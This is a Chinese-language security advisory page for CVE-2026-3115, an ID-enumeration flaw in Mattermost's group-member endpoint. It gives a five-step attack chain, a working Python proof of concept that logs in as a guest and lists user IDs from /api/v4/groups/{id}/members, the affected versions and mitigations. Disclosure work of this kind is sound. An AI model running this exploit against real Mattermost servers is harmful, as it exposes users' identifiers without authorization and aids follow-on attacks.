IPBUF安全漏洞报告
English
CVE-2026-3115 CVSS 4.3 中危

CVE-2026-3115 Mattermost 用户ID枚举漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-3115
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mattermost

相关标签

信息泄露权限绕过MattermostIDORCVE-2026-3115

漏洞概述

Mattermost 存在信息泄露漏洞(CVE-2026-3115)。在特定版本中,系统未能对群组检索端点应用严格的视图限制。这导致经过身份认证的访客用户能够绕过权限检查,枚举并获取其原本无权查看的用户 ID。攻击者可利用此漏洞收集系统内部用户信息,为进一步的攻击活动提供数据支持。

技术细节

该漏洞源于 Mattermost 在处理群组成员检索请求时的权限验证逻辑存在缺陷。当系统通过群组检索端点处理请求时,未能正确应用视图限制,导致后端直接返回了成员 ID 列表,而未充分校验请求者(特别是 Guest 账号)是否具备查看特定群组成员的权限。攻击者只需拥有一个合法的低权限 Guest 账号,即可向受影响的 API 端点发送 HTTP 请求。通过遍历或猜测群组 ID,攻击者可以获取到其权限范围之外的用户 ID。由于该漏洞利用无需用户交互且攻击复杂度低,攻击者可编写自动化脚本批量收集敏感用户标识,进而映射出组织架构,对系统机密性构成威胁。

攻击链分析

STEP 1
1
攻击者注册或获取一个低权限的 Guest 账号凭证。
STEP 2
2
使用 Guest 账号登录 Mattermost 系统,获取有效的 Session Token。
STEP 3
3
构造并发送针对群组检索端点(如 /api/v4/groups/{id}/members)的 HTTP GET 请求。
STEP 4
4
服务器因未正确校验视图权限,返回了受限群组的成员 ID 列表。
STEP 5
5
攻击者解析响应数据,收集到超出其权限范围的用户 ID 信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "https://mattermost.example.com" API_BASE = f"{TARGET_URL}/api/v4" # Low-privileged Guest credentials EMAIL = "[email protected]" PASSWORD = "password123" def login(): """Authenticate and retrieve session token.""" login_url = f"{API_BASE}/users/login" payload = { "login_id": EMAIL, "password": PASSWORD } try: response = requests.post(login_url, json=payload) if response.status_code == 200: token = response.headers.get("Token") print(f"[+] Login successful. Token: {token}") return token else: print(f"[-] Login failed: {response.text}") return None except Exception as e: print(f"[-] Connection error: {e}") return None def enumerate_user_ids(token, group_id): """Exploit the vulnerability to list group members.""" headers = {"Authorization": f"Bearer {token}"} # Vulnerable endpoint: /api/v4/groups/{group_id}/members exploit_url = f"{API_BASE}/groups/{group_id}/members" print(f"[*] Attempting to enumerate members for Group ID: {group_id}") try: response = requests.get(exploit_url, headers=headers) if response.status_code == 200: members = response.json() print(f"[+] Success! Found {len(members)} members:") for member in members: print(f" - User ID: {member.get('user_id')}") else: print(f"[-] Request failed with status {response.status_code}: {response.text}") except Exception as e: print(f"[-] Error during exploitation: {e}") if __name__ == "__main__": token = login() if token: # Replace with a valid or guessed Group ID target_group = "GROUP_ID_TO_TEST" enumerate_user_ids(token, target_group)

影响范围

Mattermost 11.2.x <= 11.2.2
Mattermost 10.11.x <= 10.11.10
Mattermost 11.4.x <= 11.4.0
Mattermost 11.3.x <= 11.3.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员暂时禁用 Guest 账号功能,或通过网络访问控制列表(ACL)限制对 /api/v4/groups/* 接口的访问,仅允许受信任的 IP 地址调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表